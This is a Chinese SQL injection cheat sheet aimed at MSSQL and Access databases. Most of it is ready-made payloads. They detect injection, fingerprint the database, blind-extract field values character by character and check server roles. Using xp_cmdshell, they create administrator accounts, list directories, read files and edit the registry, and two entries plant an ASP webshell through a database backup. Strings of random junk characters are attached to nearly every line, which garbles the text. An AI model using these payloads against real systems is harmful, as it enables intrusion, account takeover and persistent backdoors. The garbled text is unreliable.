1.判断是否有注入;and 1=1 ;and 1=2 X >7Pqn'
2.初步判断是否是mssql ;and user>0 #Q=73~
qe&|6 M!
3.注入参数是字符'and [查询条件] and ''=' ynA_Z^j
75;RAKGi
4.搜索时没过滤参数的'and [查询条件] and '%25'=' Xd:{.AXW
i{EQjZ
5.判断数据库系统 ]@9W19=P!P
A]m*~Vj]
;and (select count(*) from sysobjects)>0 mssql P\Qvj7_
YMu#<ZG
;and (select count(*) from msysobjects)>0 access "&SE!3*m`I
RCTqV.L
CfW#Wk:8J
*66EkCj
6.猜数据库 ;and (select Count(*) from [数据库名])>0 a.<XJ\
{BlTLAKm
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 kI`HD
I7Kgi3
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 0z \KI?kd
JYNnzgd
9.(1)猜字段的ascii值(access) Y&b Yaq
6%p6BK6
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 CL2zZk{u_
]uFJ~:R
(2)猜字段的ascii值(mssql) tiGH#~?
|rJN
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 o%+w:u.
gtH^'vFZ
10.测试权限结构(mssql) 9K}DmS
'E#L6,&
fASklcQ
!KXcg9e
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- Ydsnu
Q#yHH]U)X
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- mH;t)dT
2n>mISy+
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- !jl^__
.DR
fV4eGIR&
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- P\ P=1NM
xKL(:ePS
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- ]u|FcwWc3
aT2%Az@j
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- xb[yy}>"L
R5b,/>^'A
;and 1=(select IS_MEMBER('db_owner'));-- MMjewGxe
):G+*3yb
+>1Yp"> ?
x3'ANw6E
11.添加mssql和系统的帐户 ([$KXfAi]h
)xc1Lsrr9
;exec master.dbo.sp_addlogin username;-- ksU& q%1
;exec master.dbo.sp_password null,username,password;-- 9u=]D> kb
JT}"CuC
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- O~8jz
Wp
=
]YO
;exec master.dbo.xp_cmdshell 'net user username password Yw=@*CK'
o&q:b9T
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- A*qR<cp[
`vt+VUNf
;exec master.dbo.xp_cmdshell 'net user username password /add';-- r9}(FL/)b
=Cf@!wZ^
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- SKf;Fe
^K`PYai
H '5zl^8I
-"yma_
12.(1)遍历目录 /tkV/
Dp*:oMATx0
;create table dirs(paths varchar(100), id int) @QJPcF"
T^8`ji
;insert dirs exec master.dbo.xp_dirtree 'c:\' 68~]_r.a
0@'-g^PS
;and (select top 1 paths from dirs)>0 D {E,XOi
0RdW.rZJ
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) E\4ZUGy0
uuHs)
*W |
F'<XB~&o
(2)遍历目录 7zQGuGo(
D@w&[IF
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- /FTP8XHwL)
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 (Ms #)E
meB9:w[m
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 %j2 :W\g:
p/ZgzHyF
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 sn[<Lq
Q Wm
g#2 '
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 Or/YEt}
aAu%QRq
r^s$U,e#~
iU{\a,
13.mssql中的存储过程 jbOwpyH
V:D?i#%,z
xp_regenumvalues 注册表根键, 子键 aQWg?,Ju6
5#_GuL%
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 V+'zuX
R,!aX"]|
xp_regread 根键,子键,键值名 _B4N2t$
Ey&A\
;exec xp_regread gvjy'Rm
qi_uob
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 (F R
Jk<b#SZ[b
xp_regwrite 根键,子键, 值名, 值类型, 值 v>hc\H1P
hNcEBSQ
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 l0!`>Xx[b
kU)E-h
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 v~^*L iP+
Ov:U3P?%
xp_regdeletevalue 根键,子键,值名 7'{%djL
]R"n+LnI:=
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 -oju-gf K
6XhS
g0s
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 X=Y>9
]nS9taEA
I*+*Wf
oXwcil
14.mssql的backup创建webshell 0ZAtBq.s
\o?
use model )Zyw^KN^
&~)1mnv.
create table cmd(str image); k
V'0rb
z\J#d 1e
insert into cmd(str) values (''); &C/,~pJ1S
Ip,0C8T`Q
backup database model to disk='c:\l.asp'; K]U8y$^
f xD|_
vf<Tq
AdF[>Wv
15.mssql内置函数
TY#pj
XKBQH(
;and (select @@version)>0 获得Windows的版本号 fJ-8$w\uL
t2-bw6U
;and user_name()='dbo' 判断当前系统的连接用户是不是sa 6~Zq
y5V]uQSD
;and (select user_name())>0 爆当前系统的连接用户 ]\=M$:,RZ
8{.:$T
;and (select db_name())>0 得到当前连接的数据库 {M0pq3SL*t
uc;,JX!bN
}PzYt~Z`@
=H^^A G\}
16.简洁的webshell mhnK{M @56
W-"FRTI4
use model P4"EvdV7
`{@?O%UB
create table cmd(str image); TSd;L
u%hr
pc_$,RkN
insert into cmd(str) values (''); s9YP
=)I
!8%{(;(
backup database model to disk='g:\wwwtest\l.asp';